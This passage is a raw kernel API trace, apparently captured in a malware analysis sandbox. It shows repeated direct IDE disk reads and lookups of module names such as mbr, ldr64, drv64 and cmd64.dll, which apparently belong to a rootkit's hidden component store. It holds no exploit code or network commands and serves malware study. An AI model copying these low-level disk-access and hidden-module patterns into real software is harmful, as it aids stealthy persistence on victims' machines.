(StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.266] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.266] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.266] IdePortDispatch () returned 0x103 [0098.266] KeWaitForMutexObject () returned 0x0 [0098.266] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0098.266] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0098.266] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0098.266] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0098.266] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0098.266] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0098.266] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0098.266] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0098.266] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0098.266] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.266] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.266] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.266] IdePortDispatch () returned 0x103 [0098.266] KeWaitForMutexObject () returned 0x0 [0098.266] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.267] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.267] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.267] IdePortDispatch () returned 0x103 [0098.267] KeWaitForMutexObject () returned 0x0 [0098.267] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.267] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.267] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.267] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.267] IdePortDispatch () returned 0x103 [0098.267] KeWaitForMutexObject () returned 0x0 [0098.267] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.267] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.267] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.267] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.267] IdePortDispatch () returned 0x103 [0098.267] KeWaitForMutexObject () returned 0x0 [0098.267] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.267] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.267] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.267] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.267] IdePortDispatch () returned 0x103 [0098.267] KeWaitForMutexObject () returned 0x0 [0098.268] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.268] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.268] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.268] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.268] IdePortDispatch () returned 0x103 [0098.268] KeWaitForMutexObject () returned 0x0 [0098.268] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.268] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.268] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.268] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.268] IdePortDispatch () returned 0x103 [0098.268] KeWaitForMutexObject () returned 0x0 [0098.268] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.268] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.268] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.268] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.268] IdePortDispatch () returned 0x103 [0098.268] KeWaitForMutexObject () returned 0x0 [0098.269] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.269] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.269] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.269] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.269] IdePortDispatch () returned 0x103 [0098.269] KeWaitForMutexObject () returned 0x0 [0098.269] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.269] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.269] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.269] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.269] IdePortDispatch () returned 0x103 [0098.269] KeWaitForMutexObject () returned 0x0 [0098.269] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.269] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.269] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.269] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.269] IdePortDispatch () returned 0x103 [0098.269] KeWaitForMutexObject () returned 0x0 [0098.269] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.269] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.269] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.269] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.269] IdePortDispatch () returned 0x103 [0098.270] KeWaitForMutexObject () returned 0x0 [0098.270] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.270] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.270] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.270] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.270] IdePortDispatch () returned 0x103 [0098.270] KeWaitForMutexObject () returned 0x0 [0098.270] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.270] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.270] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.270] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.270] IdePortDispatch () returned 0x103 [0098.270] KeWaitForMutexObject () returned 0x0 [0098.270] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.270] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.270] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.270] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.270] IdePortDispatch () returned 0x103 [0098.270] KeWaitForMutexObject () returned 0x0 [0098.271] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.271] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.271] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.271] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.271] IdePortDispatch () returned 0x103 [0098.271] KeWaitForMutexObject () returned 0x0 [0098.271] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.271] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.271] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.271] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.271] IdePortDispatch () returned 0x103 [0098.271] KeWaitForMutexObject () returned 0x0 [0098.271] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.271] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.271] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.271] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.271] IdePortDispatch () returned 0x103 [0098.271] KeWaitForMutexObject () returned 0x0 [0098.271] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.271] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.271] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.271] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.272] IdePortDispatch () returned 0x103 [0098.272] KeWaitForMutexObject () returned 0x0 [0098.272] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.272] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.272] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.272] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.272] IdePortDispatch () returned 0x103 [0098.272] KeWaitForMutexObject () returned 0x0 [0098.272] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.272] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.272] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.272] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.272] IdePortDispatch () returned 0x103 [0098.272] KeWaitForMutexObject () returned 0x0 [0098.272] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.272] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.272] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.272] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.272] IdePortDispatch () returned 0x103 [0098.272] KeWaitForMutexObject () returned 0x0 [0098.273] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.273] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.273] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.273] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.273] IdePortDispatch () returned 0x103 [0098.273] KeWaitForMutexObject () returned 0x0 [0098.273] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.273] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.273] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.273] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.273] IdePortDispatch () returned 0x103 [0098.273] KeWaitForMutexObject () returned 0x0 [0098.273] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.273] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.273] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.273] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.273] IdePortDispatch () returned 0x103 [0098.273] KeWaitForMutexObject () returned 0x0 [0098.274] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.274] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.274] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.274] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.274] IdePortDispatch () returned 0x103 [0098.274] KeWaitForMutexObject () returned 0x0 [0098.274] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.274] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.274] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.274] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.274] IdePortDispatch () returned 0x103 [0098.274] KeWaitForMutexObject () returned 0x0 [0098.274] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.274] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.274] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.274] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.274] IdePortDispatch () returned 0x103 [0098.274] KeWaitForMutexObject () returned 0x0 [0098.274] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.274] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.274] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.274] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.274] IdePortDispatch () returned 0x103 [0098.275] KeWaitForMutexObject () returned 0x0 [0098.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.275] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.275] IdePortDispatch () returned 0x103 [0098.275] KeWaitForMutexObject () returned 0x0 [0098.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.275] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.275] IdePortDispatch () returned 0x103 [0098.275] KeWaitForMutexObject () returned 0x0 [0098.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.275] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.275] IdePortDispatch () returned 0x103 [0098.275] KeWaitForMutexObject () returned 0x0 [0098.276] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.276] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.276] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.276] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.276] IdePortDispatch () returned 0x103 [0098.276] KeWaitForMutexObject () returned 0x0 [0098.276] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.276] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.276] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.276] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.276] IdePortDispatch () returned 0x103 [0098.276] KeWaitForMutexObject () returned 0x0 [0098.276] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.276] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.276] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.276] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.276] IdePortDispatch () returned 0x103 [0098.276] KeWaitForMutexObject () returned 0x0 [0098.277] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.277] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.277] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.277] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.277] IdePortDispatch () returned 0x103 [0098.277] KeWaitForMutexObject () returned 0x0 [0098.277] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.277] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.277] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.277] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.277] IdePortDispatch () returned 0x103 [0098.277] KeWaitForMutexObject () returned 0x0 [0098.277] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.277] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.277] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.277] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.277] IdePortDispatch () returned 0x103 [0098.277] KeWaitForMutexObject () returned 0x0 [0098.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.278] MmProbeAndLockPages (in: 